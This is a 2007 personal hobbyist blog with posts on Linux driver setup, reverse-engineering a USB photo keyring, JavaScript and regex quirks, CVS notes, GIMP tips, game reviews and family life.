Happy new YEAR! no blogging due to even more illness/nesses, none of them mine. Still I got what I wanted for Christmas, just like the common Xmas carol goes "All I want for Christmas is light saber, light saber, light saber" mmmm red Plus various other stuff, but it all pales in comparison to a light saber I can finally call my own. Many have questioned the practicality of owning a light saber, even a red one, but what do they know !? http://www.youtube.com/results?search_query=lightsaber+replica&search=Search

poldu wifi PCMCIA

Sun, 23 Dec 2007 21:27:09 GMT

My recovered laptop has wifi in PCMCIA form, but Ubuntu was not finding it ... dmesg Nothing, the hardware is not being claimed by any drivers. lspcmcia Hmmm, there is something there but is quoted as [no driver] pccardctl info Ooo, amongst other things is PRODID_2="3CRWE62092A Wireless LAN PC Card" Just double check nothing is working with this. ifconfig -a nope iwconfig nope googling the 3CRWE62092A string got me http://www.xs4all.nl/~bvermeul/swallow/ but it would not build. I even tried fixing the MANY errors, but after a few days I found the kernel changelog had VASTLY updated the PCMCIA interface code and this was a lost cause :( One thing I had noticed was the chipset name poldhu and quick google of this got me http://sourceforge.net/projects/poldhu/ which was being updated regularly and built and installed first time no problem !


make
sudo make install
sudo modprobe poldhu_cs
ifconfig *blah*
iwconfig *blah*
dhclient

connected !

gimp render nature flame background

Sun, 23 Dec 2007 21:12:50 GMT

http://www.gimp.org/ has some wonderful tools if you look hard enough. In just 2-5 mins I created each one of these The process is very easy; :Create a new image of the size of your desktop i.e. 1024x768 :select a foreground and background colour. :Use the gradient fill tool to fill the entire page. :Repeat step two but select new colours :goto /filters/render/nature/flame :use the Edit and Camera options to make adjustments click on OK wait 20seconds to a couple of minutes and save your new background. If you look closely at my backgrounds you can see I did use some minor edits to enhance the image but the options are limitless. Gentoo users gallery Windows users can use the windows version of GIMP to achieve the same results.

icey stalagmites

Sun, 23 Dec 2007 20:59:06 GMT

Last Wednesday it was VERY cold Brrrrr and after walking the train station to find all the trains canceled I came home to find this in the garden. They were on an upturned plastic table that as you can see had a set of 'cells' were iced formed. I have never seen this before. Explained by New Scientist

Very cheap USB rocket launcher

Sun, 23 Dec 2007 20:51:13 GMT

After an interesting Thieving Secret Santa at work that lost me a USB rocket launcher I quizzed the guy who bought it to find Woolworth were selling them for just £9.99 ! I could not find any but asking the person behind the counter got me one from the stores. The box was cellotaped badly, but all the bits were in there and that is how the other one was presented at work. Plugged it in to Linux after hear bad things about its windows software, ran dmesg and got the manufacture and model numbers as 1941:8021 googled those and got to http://www.fatal.se/fulhack/ahmissile/ a quick ./configure, make, make install and ahmissile brought up a basic window with eight directions, clicked on one and it worked ! After moving around all over the place I tried the fire, a strange mechanical noise ran for 3-4 seconds then POP! the little lady(these missile are of the female variety) shot off. Great fun and the author is really friendly, always a plus. Just think for £100 I could get another ten !!

gur bgure grnz vf purngvat

Thu, 20 Dec 2007 10:14:36 GMT

gur bgure grnz vf purngvat

krum-bly

Thu, 20 Dec 2007 10:08:36 GMT

krum has been out of sight and out of mind recently, but I will turn back to its sweet siren song soon ...

Linux pub quiz version 2.0

Wed, 19 Dec 2007 22:44:15 GMT

The lug Xmas part night was slightly low on numbers, but there were just enough for five L0Z3rs(the losers) and five Lamers(the winners). After the last pub quiz I decided to 'up' the fun factor(though some noted I also 'upped' the evil and bizzare factors). There was my usual random of random opensource/linux themed questions (I promise to write them up soon) ranging from RMS and Linus's middle names to hack outlook passwords, through RSI recovery and a revisit to a couple of old favorites from the last quiz. There was also programming in swears, the lack of identification of the essential filelight, decoding secret messages, matching O'Reilly titles to covers, drawing tux in an extremely short time frame and other silliness. I had hoped to write a new score board system but never had the time :( We missed out the mime round due to time constraints, but overall everyone had a good time and there was lots of food and some (slightly) better prizes this year. The only two questions remain, how do you mime "firefox" and did David actually make a more accurate guess on the lug meeting place latitude/longitude ? Final scores were 33 - 31, with may mad collection of guess the closest number rounds to hand out the individual presents. My spam quota got vastly under estimated , guesses were between 1-20 , whereas the answer was 230 (spam not captured by spam assassin for that day). OK, one more question, how am I going to top this quiz for next year ? Maybe I just need to build a flashier score board and recycle the questions :)

Posted a day late spiderman visits london

Wed, 19 Dec 2007 22:08:14 GMT

Alain Robert aka spiderman made an appearance at Portland house this morning. We noticed him doing warm up exercises three floors up on the roof connecting to our building, before he disappeared around to the front face of the building and started climbing its remaining twenty+ stories completely unaided. He took just under 40mins with plenty of rest stops so he could; take a phone call drink coffee (from a thermos) powder his hands (did this for every story reached) pose for photographers and wave to the crowed Apparently he was doing the climb to raise awareness of global warming, but we could not read his shirt. For his trouble he was arrested for criminal damage and wasting police time. The police spent most of the time pushing the crowd further and further back incase "the wind carried his body", which suited us fine as it was a good excuse for being unable to get back in the office. wikipedia article on Alain Robert.

Random blog train update

Wed, 19 Dec 2007 21:51:13 GMT

The blog train was stationed in "Linux pub quiz valley", but then got stuck at "Escalating family illnesses junction" with guaranteed zero sleep. The overnight express now offers "up-to" three hours per night, but at least the train is moving.

ubuntu hates me

Wed, 05 Dec 2007 21:46:24 GMT

Sarah finally gave back my laptop from 8 years ago but it has XP on it so... backup windows data, defrag, insert ubuntu 7.10 desktop CD, reboot select default option wait ages get a black screen with coloured strips down either side.CTRL+ALT+F1 and get console, CTRL+ALT+F7 and get ubuntu desktop. As I did not need anything else I started the install, seemed quite slow but then it was running 'live' off the CD. Got to the disk partitioning section and got a message "starting the partitioner" then nothing. The CD was thrashing so left a short while before switching to console CTRL+ALT+F1, this switch took about 20 seconds. Then I tried to run dmesg but the keyboard echo was at least 20 seconds per hit. Eventually dmesg ran and I could see all sorts of SQUASHFS errors. At this point I could not even CTRL+ALT+DEL so I pulled the power, then I booted up again this time I choose the VGA boot option thinking I might have a better experience. Not quite, I got black and green stripes of ascii characters and switching to console and back did not fix it. Hmmm, maybe I am missing something, so I google around for a while and determine that laptops often have problems with power management so after booting up and selecting the CD defect check and after it reported none, I edited the command line to have acpi=off and noapic. Well it booted into the desktop without issue but this time I had a sniff around what ubuntu could see of my windows disk, all seemed fine so I tried the install from the desktop again, this time I did not even get to select my keyboard layout before the CD was screaming and the machine became completely unresponsive... Time to try something new, I burnt a copy of the alternate install ubuntu 7.10 disk and ran that, this time everything is in a console window and after about an hour of answering yes to all the questions I had ubuntu installed dual booting with windows.

javascript and the vanishing Feb

Thu, 29 Nov 2007 21:47:37 GMT

If you use firefox then you need this http://www.squarefree.com/shell/ (drag onto firefoxes toolbar to install) Now this means you can execute JavaScript in the context of the browser/web page, loads of fun, but you can also just test scripts out like... for (var i=0;i<12;i++) { d=new Date(); d.setMonth(i); print(d.getMonth()); } (If you want, you can change 'print' for 'alert' and run it in your browsers address bar). This produces

Notice the missing 1, but for (var i=0;i<12;i++) { d=new Date(); d.setDate(1); d.setMonth(i); print(d.getMonth()); } Gives

The only difference is the month date is set to 1 before the month itself is set and yes JavaScript uses 0 for Jan and 11 for Dec. P.s. setting the year first made no difference.

Hate Internet Explorer so hack it

Wed, 28 Nov 2007 22:24:18 GMT

Don't you just hate it when Internet Explorer works the same as FireFox? Let me clarify, its IE7 and the page I had been developing had some pretty hairy CSS worked in FF and after some very minor tweaks worked exactly the same in IE7, job done. Well, not quite cos the test team started coming back with all sorts of odd display issues, turns out they were using IE6. Now the sensible thing to do here is use CSS conditional comments ... but I can not alter the HTML of the page and all the CSS hacks I could find targeted IE not < IE7. But, I could add javascript so I ended up writing my own browser detection script that dynamically generated the CSS if the browser was an IE version lower than 7, works but ... its not nice. P.S. Conditional comments do not work in CSS or JS only HTML.

LevelHead an augmented reality game open source

Wed, 28 Nov 2007 22:13:10 GMT

On its own this is pretty amazing but then you find out the creator wants to release it all as open source with PDF printable cubes ! http://julianoliver.com/levelhead Expect sales of eye-toys to go through the roof on ebay.

krum dum dum

Mon, 19 Nov 2007 21:32:43 GMT

I checked into the snoopypro code following my little embarrassment and there is a hard coded 8 that I changed to 16 and now it shows all 16 bytes ! On top of that I have been going through the upload captures and it looks totally doable, easy but quite time consuming ... stay tuned ...

CVS krum notes

Sun, 11 Nov 2007 16:26:15 GMT

I have finally committed krum to sourceforge CVS, as I always forget the steps here are some notes. CVS basic initialisation of a project. setup a ssh key as described in the sourceforge documention Create a local development environment that will be the cvs data, usually just the source code and build instructions.

mkdir krum
cp krum.c krum
cp writebackbuffer.h krum
cd krum
cvs -d :ext:icedgreen@krum.cvs.sourceforge.net:/cvsroot/krum import -m "initial cvs dump" krum icedgreen start
cd ..
mv krum krum_cvs_source
cvs -d :ext:icedgreen@krum.cvs.sourceforge.net:/cvsroot/krum checkout krum   
cd krum

edit file cvs commit -m "my change was" (can add file name or intelegent choice is made) Previously I had used windows gui base cvs programs for toast4messenger topBlock [windows] Skipped the whole CVS issue for saltshaker

saltshaker updated to avoid strict python

Sun, 11 Nov 2007 16:18:16 GMT

Thanks to naruto canada saltshaker has been update to avoid strict python interpretors and random triangles :)

JWZ mixtape insanity

Sat, 10 Nov 2007 10:57:40 GMT

insanity curtesy of JWZ. number 003 is particualy good, but heavily themed, expect swearing in some.

krum what went wrong

Sat, 10 Nov 2007 10:53:17 GMT

So what went wrong with krum ? It was leaving the machine is a strange state. If you remember I hacked at snoopypro to give myself a few helpful changes. My favorite enhancement was a text dump mode and update to the existing xml dump, allowing me to review the pertinent data captured in a text editor or filter it with grep. What I failed to notice was that for some reason the text dump only included the first eight bytes of any sixteen byte data captures, though mysteriously the xml does. So this means for the most part nothing, the functionality for getting the number of images on the device never uses more that two bytes in any single transaction, but the delete uses a large write back buffer. This write back buffer was careful encoded by me but of course was eight bytes short for EVERY single transaction of which there are 70+. Took a long time to work this out, but from now on I will be using the XML dumps and ignoring the text ones. Every cloud has a silver lining, the fact the the devices settings/functionality was changed makes me wonder what else could be changed ... that is definitely a job after the main part of this project is completed.

krum lives - unstable state no more

Sat, 03 Nov 2007 22:32:01 GMT

[pant][pant] ... krum ... is alIVE !! I have fixed the unstable state issue when deleting images. Details will follow when I have sometime.

UPS saves day again

Thu, 25 Oct 2007 13:17:03 BST

UPS saves the day (again), we had yet another random power cut that only lasted two minutes and my cheap UPS made sure the machine never lost power !

LUG date javascript fix

Wed, 24 Oct 2007 21:55:01 BST

the LUG home page needs to show the correct date unfortunately this has been affected by human error so I knocked up a javascript fix. Has the small problem that if the date on the users machine is wrong then it is calculated wrong, still could be basis for either another program perl etc or for someone to check their human interpretation.



   
         
         
         
    
    
       begin 

       Javascript is disabled, please guess date yourself.
       end

http://www.jumpstation.co.uk/misc/jsdat.html

duffs device

Wed, 24 Oct 2007 21:31:30 BST

http://en.wikipedia.org/wiki/Duff%27s_device screaming monkey balls !

krum and the usbmon kernel debug

Wed, 24 Oct 2007 21:23:16 BST

so krum was not producing the correct results, leaving the device in rather an odd state. MY debug data matched the original capture data perfectly so what was going wrong? I tried krum with the win32 version of libusb and it produced the same results, so Linux is not to blame, unfortunately that means the debug krum is producing is not accurate. But snoopy pro in windows will not capture the krum data from win32 libusb unless I create driver .INF files for windows and I have a better idea anyway. Simply setup the linux kernel to dump debug usb data, easy right ? Hmmm. First off I am not going to change my kernel and reboot unnecessarily, so I used virtualbox[1] and installed ubuntu[2]. Even better ubuntu was noted to have the usbmon kernel debug setup by default (cannot find link) copied in krum ran and started looking for usb data in /var/log/... Nothing, hmmm, ah, seems I need to rebuild kernel with usbmon, make sense, took a few tries but rebooted into my new kernel (had to edit /boot/grub/menu.lst to allow me to select the new kernel). Repeated krum still no usb data anywhere ... Found a great tutorial[3] that included how to rebuild kernel in ubuntu [4], seems I had missed the debug file system. Right, an number of resources noted the that wireshark[5] had support to read this debug file system USB data, so install wireshark. No option in wireshark for USB, download latest source code and build, still no option for USB, install ubuntu's libpcap-dev rebuild wireshark, still no option for USB, build libpcap from source remove ubuntu's libpcap-dev package and try and rebuild wireshark. Error libpcap not found, rebuild libpcap after specifying ./configure --prefix=/usr Rebuild wireshark and all the computer gods be praised it build and ran and USB was an option, started cpature started krum, wireshark complained no packets captured ! Ran krum and then started capture, and it captured something but not much and then errored out saying something about unable to handle USB packet ' ' and just to make this extra fun one of the cats decide to pee on my desk ... In conclusion I now have a capture from usbmon from krum and it is ugly, will take time to reformat and then compare ... [1] http://www.virtualbox.org/ [2] http://www.ubuntu.com/ [3] http://www.quietearth.us/articles/2006/10/16/USB-Snoop-in-linux [4] http://www.quietearth.us/articles/2006/09/15/Ubuntu-Compiling-a-custom-kernel [5] http://www.wireshark.org/

what have I done to annoy the universe ?

Wed, 10 Oct 2007 23:06:45 BST

It has been the day from hell, well hellish. Started this morning being so tired I could not get up and then having to run for the train and also having to rush to get a ticket. All this while getting soaked. Get into London and I have to go directly to the head office, rush rush rush. Then find the meeting was not until tomorrow, doh! As I am there, login to a spare machine but its not long before someone else needs the machine, so leave for my normal office. Decide to take a short trip to PC World to get a w2k3 compatible wireless mouse (can not see on on amazon). I was 90% sure I knew how to get there unfortunately it was the other 10% and I was left lost in London getting wetter by the minute. Finally get back to the office and find I am wearing odd socks, bump into the door frame at least twice and find blisters from all the walking. On the train home rip my palm open on my jeans studs/rivets, rush home to eat before the LUG. Shove food down my throat and as there is one minute before I am picked up say to Sarah "I am going to check my email, knowing my luck there will be one to say the lift is late". Guess what ... Still the LUG meeting was a blast, loads of new and old people lots of different problems, questions, discussions. Was serious talk about the LUG site and its future and plans for coming events, very productive. So not really a bad day after all, of course there is always tomorrow ...

regular expresions get me down but I get up fighting

Sat, 06 Oct 2007 21:08:02 BST

Just for fun I needed a regular expression that would match a known string either at the beginning/end of a line or when surrounded by white space, i.e. a word in a sentence as opposed to a word containing the known string. I thought A) this would be easy and B) someone had done it before (sounds like a common request. [the following were done in the javascript shell bookmarklet for firefox]

print(new RegExp("\\sword","gi").test("wordy");
false

\\s is any whitespace character but apparently does not include start of a line.

print(new RegExp("\\Wword","gi").test("wordy");
false

\\W, non word character has the same issue.

print(new RegExp("\\s?word","gi").test("wordy");
true

? is zero or more times, that works but then so does

print(new RegExp("\\s?word","gi").test("awordy");
true

which is bad. It needs to be either a white space character or the beginning a of a line, hmmmm, OR ...

print(new RegExp("[^|\\s]word","gi").test("wordy");
false

the | character is OR and the square brackets encapsulate the two options, ^ being the beginning of a line. But that did not work. In the end I needed to take a different approach,

print(new RegExp("(^word$)|(^word\\W)|(\\Wword$)|(\\Wword\\W)","gi").test(" zwordz "));
false
print(new RegExp("(^word$)|(^word\\W)|(\\Wword$)|(\\Wword\\W)","gi").test(" word "));
true
print(new RegExp("(^word$)|(^word\\W)|(\\Wword$)|(\\Wword\\W)","gi").test("word"));
true
phew!
So in the end I needed to offer four options (notice the | OR character) 
^word$	Starts a new line ^ and ends a line $		
^word\\W	Starts a new line ^ or is terminated by a non-word character
\\Wword$	Starts with a non-word character and ends a line
\\Wword\\W	Starts with a non-word character and is terminated by a non-word characters.
note: the double slashes are required to escape the characters in strings.



krum works in windows but snoopy is blind
Sat, 06 Oct 2007 20:20:04 BST
I wanted to confirm that my krum usb program was performing the same as the original windows driver.
Krum has extensive loggin and from that it appeared that all was fine but I was still getting a device that was not in a complete state.
So I though I could use win32-libusb. Installed cygwin and added libusb support and gcc from the install options. From the new cygwin shell I could just
gcc krum.c -o krum -lusb
Then I needed to install the filter driver for win32-libusb and krum worked exactly the same way as in Linux.
So I just ran snoopypro, restarted the device and immediately saw the URBs for enumeration being captured, so I ran krum in the cygwin shell and it ran but snoopypro record NO FURTHER URBs.
Gutted... but I have a sneaky plan ...


Web service hidden option needed for IIS server 2003
Mon, 24 Sep 2007 21:11:59 BST
For reasons only know to myself I needed to create a c# ASP.net web service. 
Should have been really easy, just create a new ASP.NET project with the webs service template. OK did that without any issue now to create the application that would use the webs service.
Again, just create a new ASP.NET project with web application template and then add in a web reference to the previously created web service.
this is where things got interesting;

http://localhost/service.asmx
 
 A name was started with an invalid character. Error 
 processing 
 resource 'http://localhost/servi... 
 <%@ WebService Language="C#" 
 CodeBehind="~/App_Code/service.cs" 
 Class="Service" %>
 
 Solution was to enable .NET in IIS, either by going into the settings or running
 aspnet_regiis.exe -i  
 In the Visual Studio shell.
 But then I got "404 page not found" trying to add the reference, doh!
 Turns out the in windows server 2003 (all dev machines in our office) has ASP.NET and .NET version 2 disabled by default.
 So all I had to do was enable them, but after searching all through every settings page I was no closer to the "Web Service Extensions" tab(last post).
 In the end it was another folder in the IIS manager at the top level, where you might see FTP or smtp, very odd place to put it.


Time splitters - bad Farcry good !
Sun, 23 Sep 2007 22:19:47 BST
I had been playing "Time Splitters 3 - future perfect" but I have completed it now. It was a odd mixture of good and bad, the first third of the game was pretty bad the middle was better and the end was mostly OK. From ghost that could only be killed by a flame thrower and zombies that were unharmed by the same to bad puns dodgy characters  and very limiting environments to something that was actually quite fun. 
Over all not recommended.
So what am I playing now? "Farcy Instincts - Evolution". Not having seen previous installations I do feel I am missing something but damn this game is good.
You can run around guns blazing or sneak through the bright sun lit jungle literally under the noses of your enemies. The play areas are SOOO BIG! massive in fact and highly detailed.
With the shadows of the trees and birds to the oceans and rivers you feel like you are really there and you can do what you want from blow up bad guys to burning dope fields to racing around of jet skis.
Brilliant !


Ufo adventure version 2 released
Fri, 21 Sep 2007 22:42:15 BST
Finished the second ufo maps mashup this time you must help find a missing item.
Drop beacons that tell you how many miles you are from your target but nothing else, oh and you only have 20 beacons. Good luck !


Face sets off for Naples
Fri, 21 Sep 2007 22:25:37 BST
My face is going to Naples !
 http://facebooked.org.uk/photos/img_501299_530145040.jpg
Slightly worrying that they decided my face should have pride of place on the front.


USB pen drive 8gig can not take files large than 4gig
Fri, 14 Sep 2007 14:33:31 BST
I got a 8gig USB pen drive to ferry large files around as they are so cheap.
Tried to copy a 6gig file onto it from windows and got a strand "Incorrect parameter" error, same using xcopy. Eventually traced it down to Fat32 not supporting single files larger than 4gig. 7zip allowed me to split the file and cat in bash rebuilt it.
The question is, what format should the drive be to take large files and be cross platform compatible ?


LUG talk Steve and openstreetmap me and USB
Fri, 14 Sep 2007 14:29:25 BST
LUG meeting went well, really good turn out and Steve did a really good refresher on openstreetmap.
I forgot my notes about "using windows USB devices in Linux" but I winged it anyway and people seemed interested. But I did not realise how underwhelmed they would be when I reported I could get the number of images off the device and run the "delete all" functionality.


DVD::rip to Zune a short experiment
Mon, 10 Sep 2007 21:49:05 BST
I have tried so many video conversion progies on windows to simply get a DVD converted into a format the ZUNE would like and work smoothly with, none which worked 100%.
So I tried DVD::rip which in turn uses transcode. the following is for my records YMMV.
dvd::rip 
Resize to 320x180 (wide screen)
:AVI
:-FFMPEG
:-MPEG4
:--1500kb/s (very important!)
:MP3
:-128kb/s
:-48hz
Then use Windows media encoder and accept all the defaults setting NO RESIZE!.
2hr Film
DVD::rip 15mins
transcode 2:15
media encoder (forgot to note end time but recon it was about 2hrs)
Zune transfer of the 977mb WMV file 5hrs (damn USB 1.1 slow ports!)


krum delete all further investigation reveals NOTHING
Fri, 07 Sep 2007 14:42:16 BST
OK so the delay thing is not right cos the real app deletes all in an instant.
the missing data was due to running krum against the device while it was in its confused state. Unplugged it and recaptured a new log and compares EXACTLY to the orignal snoopy log.
Only thing that could be wrong is the ABORT / RESET URBS I noted ipreviously.
So if I add an image in windows then DELETE-ALL then run krum with device plugged in it recovers the first image and leaves the device in an odd state, cool ? or bad ?


krum still weird when deleting all
Wed, 05 Sep 2007 22:36:24 BST
Added a 8 second and 3 second delay where they show up in the log but same result.
After replugging the device and rerunning krum the original image REAPPEARS! then get same odd behavior.
I wrote a couple of scripts to reformat my krum logs and the original captures (in text) and they are all identical in codes sent, some of the received stuff does not match but I will check up on that tomorrow.
Maybe it is time to move on to the image uploading stage ...


krum delete all better but still not perfect
Mon, 03 Sep 2007 21:13:38 BST
Quick krum update, I found I had left my 0x0b 0x0e 0x0e 0x0f test data in and that was not ideal but after fixing that a couple of other minor things the delete all operation still does not complete smoothly. The device is left in a strange limbo where the images are not there but the image count says they are.
Might be a timing issue, I will investigate.


UFO map adventure version 1 released
Sat, 01 Sep 2007 10:16:47 BST
I was asked to 'play' around with Virtual Earth SDK as it maybe used in future projects.
I came up with this UFO adventure.
The content is in an IFRAME that is much larger than the displayed area and then recentered. This automatically downloads extra map tiles so you should never see them loading, this has the downside of using much more bandwidth.
The UFO will happily wonder around blowing things up unless you take control with the arrow keys.
SPACE to nuke a site and 'r' will restart the auto-pilot.
This is version 1 and I am considering a more playable 'game' for version 2, stay tuned!


krum deletes !
Thu, 30 Aug 2007 22:22:03 BST
Krum now deletes images off the device, but not cleanly, need to explore the massive 2565 line log file to see what single byte I put wrong :(


topblock on sourceforge for windows is launched
Wed, 29 Aug 2007 21:19:49 BST
http://topblock.sf.net has launched, go there for all your topblock on windows needs.


krum still lives
Sun, 26 Aug 2007 14:56:13 BST
although its only a few 30min blocks here and there I have managed to get some time to work on krum.
Cleaned up the code and more importantly fixed the shutdown bug that was causing the device to hang.


topBlock for windows
Wed, 22 Aug 2007 22:05:49 BST
Gentoo updates and having no free time has meant I have not informed you about a windows release of the infamous topBlock screen saver. It was a hard slog, but I converted it to c# and added all the required windows bits, works well. Everyone in the office use it !


Serious Sam II completed, not so bad?
Wed, 15 Aug 2007 22:38:02 BST
I have completed Serious Sam II so maybe I like it more than I once thought.
The last few levels were pretty good and the final battle was very hard, at last I might have some time to devote to krum


Blender and the case of the decal on ray traced transparencey
Mon, 13 Aug 2007 22:06:30 BST
Blender can be odd at times and although there are hundreds of tutorials out there you can still be left floundering in the dark about something that seems simple at first glance.
I have created a very nice 3D jar (don't ask) and all I wanted to do was add a label, what could be simpler ?
The confusion seems to surround the fact I am using the Ray trace Transparency not the old Alpha settings. The Ray Trace stuff affects any textures I added, so I would add my label image and it would be mostly transparent and whatever I  did it was always as transparent as the glass I was laying it on. But, if you use Alpha as the setting to control the objects transparency then the texture you apply to it is NOT affected.
On top of that I always find getting textures to line up very difficult, but now I have the answer: Emptys! (not empties).
Add and Empty to the scene and orientate it so that the Y axis points up the Z axis points out and the X axis points horizontally. More specifically, if you were set looking at your object (not the camera view) the Z axis should be invisible (it's point directly at you) and X is pointing directly Right. For some reason a lot of the tutorials keep referring to the Empty's axis point toward the camera.
Then the clever bit, edit the objects materials adding your image as a texture and set the Map Input from the default Orco to Object and type in the name of your Empty.
In the end I had an extra cylinder holding the label texture with its alpha set to 0.
If the texture has an alpha channel then remember to set Alpha in Map Output as well as colour.
Phew, you can not imagine how long I spent looking for this stuff.


Spain loses its sense of taste
Sat, 11 Aug 2007 21:38:36 BST
I can not believe it, I missed this months LUG meeting !
Still I was in Spain at the time on a last minute 4 day holiday meeting up with grandparents. It was very hot and I came back with no sense of taste, specifically I can not taste anything sweet, it affected the front of my tongue only.
What affected my tongue ? the foot tablets I had been taking for over 6 weeks.
Ita a bit od, I can tell you, Coca Cola tastes like fizzy water, Pepsi Max tastes URGK! apples are odd, carrots taste the same and for some reason water now seems to taste better.
The Doctor said my sense of taste would return "In a while" but I did not get that qualified as to how long ...


fix URL
Fri, 03 Aug 2007 22:15:39 BST
that link was infact toast4messenger.sf.net.


Toast for Messenger announced with SF site
Fri, 03 Aug 2007 22:13:16 BST
Another day another project, well not quite this one has been ready for a while. But it seems to have taken ages to get the sourceforge site setup.
So without further ado I announce the toast for messenger project.


I have seen the URB light and tasted the fountain of knowledge
Thu, 02 Aug 2007 22:02:23 BST
Looking at list of hundreds or URBs it can be difficult to see patterns, but using my modified SnoppyPro to dump to text and then a bit of C# I have seen the light!!
Well, I have seen a common pattern in most of the transactions the Digital KeyRing does.
The one thing that worried me about this project and was made worse by reading the gphoto guys discussion on the Mars chip was compression of the images.
Luckily it seems there are totally uncompressed, so getting the data on will be a doddle of corse converting existing images into the right format might be a pain.
Stay tuned as Krum has been submitted to sourceforget.net as a new project.


Kanji date scroll live
Wed, 01 Aug 2007 22:18:53 BST
One of the other projects I had been working on was Kanji date scroll an html based Japanese clock with date.
It started life as a simple side project and the requirement was to have static Kanji characters displaying the date and time. Got that working so added a requirement that the characters be animated so you could see the stroke order of them being drawn. Got that done as animated GIFs but then all the characters would draw at once and it looked a bit messy. So the final version uses a Javavscript queuing system. Each time a new character is needed the request is added to the queue and then drawn in stroke order one PNG file at a time.
The background was 5 mins in the GIMP and the overall results are pleasing enough.
 Kanji date scroll


krum KeyRing Upload Manager is born
Tue, 31 Jul 2007 21:34:46 BST
So the refactored code from now on to be call krum KeyRing Upload Manager works but I get some sequences returning different values from the original snoopy logs. Also the device is left in what seems to be a hung state, though unplugging an replugging fixes that.
Now to get it to print out the number of stored images...


USBSnoopyPro team give me developer access
Mon, 30 Jul 2007 22:10:42 BST
The original USBSnoopPro team are setting me up with developer access to commit my changes and the refactored code (finally) is back to the stage the proof of concept code was at.


Serious Sam II sucks less than previously thought
Thu, 26 Jul 2007 23:00:58 BST
I a strange change of heart I am starting to enjoy Serious Sam II, but only since the China stages, there are still problems but the fun is starting to creep back in. Glad I stuck to it, more later...


SnoopyPro original team notified
Thu, 26 Jul 2007 22:58:54 BST
Appears you can not commit to an SF project unless you are a registered dev and there has been no life in the project since 2002, still I emailed all the original devs so you never know.
Note to self: do not try and read URBs after midnight ...
My refactored libusb based code is cleaner than the working proof of concept stuff but it is taking a long time to get to the same reliability.


USBSnoopyPro hacked to hell version almost ready for release
Tue, 24 Jul 2007 21:07:37 BST
Not so long ago I had a simple plan, well that plan is almost at an end.
My re-hacked version of SnoopyPro has
command line switches (now on referred to as flags)
larger default column sizes, so you do not need to manually resize them every time.
An auto Analyze Log flag so that step is removed
An auto dump to text flag, although I no longer needed it might be handy to someone.
An auto dump to XML flag
A base16 flag, which makes the XML output hex and a bit nicer in format.
and exit ASAP flag for batch processing (currently not implemented).
and handles /? so you can see all these options.
If you were to diff the code and see what changes I had made there would be very few, but I had been trying all sorts of different approaches to get the results I wanted. In fact it will be interest to see if anyone corrects my bad c++ when I commit my changes to CVS, or if no one has a working build environment ;)


Read Harry Potter, they put up a tent and Ron makes tea
Tue, 24 Jul 2007 20:56:59 BST
I read Harry Potter and the Deathly Hallows this morning and I did not have to queue at midnight like some people I know. And so to ruin it for the rest of you here is what happens;
"They put up a tent and Ron makes tea"
Wow! earth shattering, yes I read one whole sentence are being crammed in Victoria line train this morning. Not impressed.


Alex is standing unaided, run for the hills!
Tue, 24 Jul 2007 20:53:31 BST
Alex is standing unaided so locks have had to be put on, well everything, the wii is locked up tight.
His crawling speed has increased exponentially so the cats are having to watch out or suffer a 'grabbing'.
Next step is walking unaided, he already has no problem walking with a block trolley.


Success! can read no. images off device
Sun, 22 Jul 2007 21:09:37 BST
I have succeeded in getting the number of images off the keyring, but it is all proof-of-concept code and is ugly as hell. 
Also the device is locked after I have run it through its paces and requires physically being unplugged/replugged.
Where do I get ABORT and RESET URBs from ??
Next step is to recoded it and then add DELETE-ALL functionality, the Windows software can not delete specific files either.


Quick update on the continued USB work
Sat, 21 Jul 2007 22:36:26 BST
Wine is my savior, using snoopypro in wine has made it so easy to see what is going on its is scary. More on that when I have something concrete, although I will say I have found what seems to be the image count !
Just a quick update on the snoopy hacking, did not spend a lot of time on it but I did get it to compile perfectly with my own menu item and to get it to automatically run the "analyze log" and expand all URBs.
Though saying that my win usage preferred the URBs collapsed...


hacking snoopy one step forward
Thu, 19 Jul 2007 21:46:39 BST
OK so that did not go so well, so back to the snoopy.
After adding a few directories to the list that VS6 used and copying the Debug folders to Release it built and ran!!
Now to hack my hacky file dump hack ...
hmmmm seems my visual C++ foo is low, this is complex stuff.


ZUNE - something somehting social  blah
Thu, 19 Jul 2007 21:45:44 BST
So all the work I have been doing *snigger* has paid off, me and all the other devs (mostly contractors) here just got a package.
Inside is a .... brand new, no questions asked Zune !
but the software does not work in Windows 2003 so I am installing winxp in vmware server, which has downloaded over 60 updates !
The Zune itself looks nice (black), with a big screen, I am told the resolution is the same as the smaller screens of the iPod.
First thing that strikes you trying out the default content is the screen needs to be rotated 90 degrees to watch (any) movie but all the menus always require the system to be upright.
Trolling through the provided videos was a pain what with rotating the screen each time to use the menu.
OK, as I was writing this SP2 was downloading and installing, 3 more virtual reboots and over 30 more updates and the Zune software installs, but then blue screens the VM when detecting hardware :(
Got it home onto Sarah's windows XP machine and after about an hour of Zune updates the firmware upgrade seems to be the at the point vmware sank.


trying to hack snoopy
Thu, 19 Jul 2007 21:43:33 BST
I had a simple plan. USBSnoopyPro is the best place to review USB log files and a number of Linux people run WINE just for this reason.
I tried it myself and USBSnoopyPro run fine in WINE. So what was my plan ?
Get the source for snoopyPro and add a hack to dump the tree control to a text file, everybody is happy.
Step 1: get source [x]
Step 2: open project [x] (wants to convert everything to .net, OK)
Step 3: build [-] fails, needs Windows Driver Development Kit, DDK.
Step 4: get DDK 
Step 5: build [-] fails, needs DDK 2000.
Step 6: get DDK2000 [x] turns out you can only get this from MS archives, which I have access too, takes 3 hours to copy.
Step 7: install DDK2000 [-] installs but fails because it needs visual studio 5-6
Step 8: get vmware server, install windows 2000, install visual studio 6, install DDK2000 [x]
its a good thing there is no work actually required at 'work', although I am ready if there ever is.
7 virtual reboots and 2 host restarts later ...
Step 9: shift DDK files around so they can be seen by the build process, adding to include path did not work.
one last error about ml, ...
and then a package arrived. .. ... ..... .......


serious sam II sucks big time!!
Thu, 19 Jul 2007 21:42:32 BST
Serious Sam II sucks!
I loooved the first one, it should be recommended gaming to anyone who enjoys FPS especially the original doom/doom II and quake.
Serious Sam I is serious fun, the fun factor is off the scale, fun clever, loved it.
But SSII is everything SSI was not. It is as if someone in marketing said "Serious Sam sales are really good, lets make a sequel", then the meeting went on with "OK tell me what it was about and I will get a new team on it straight away".
"loads of enemies all the time, odd humor, big guns", "OK, I will have that released to market ASAP".
SSII has loads of enemies all the time, has odd humor and big guns but it has none of the original fun factor.
There are large play areas in SSII like in SSI but there are hidden blocks to stop you going into any of them !
I hate the idea of not completing a game I playing but this is so bad I may just give up.
Avoid Serious Sam II at all costs and if you have not yet played (and completed) Serious Sam the original then what are you waiting for !?


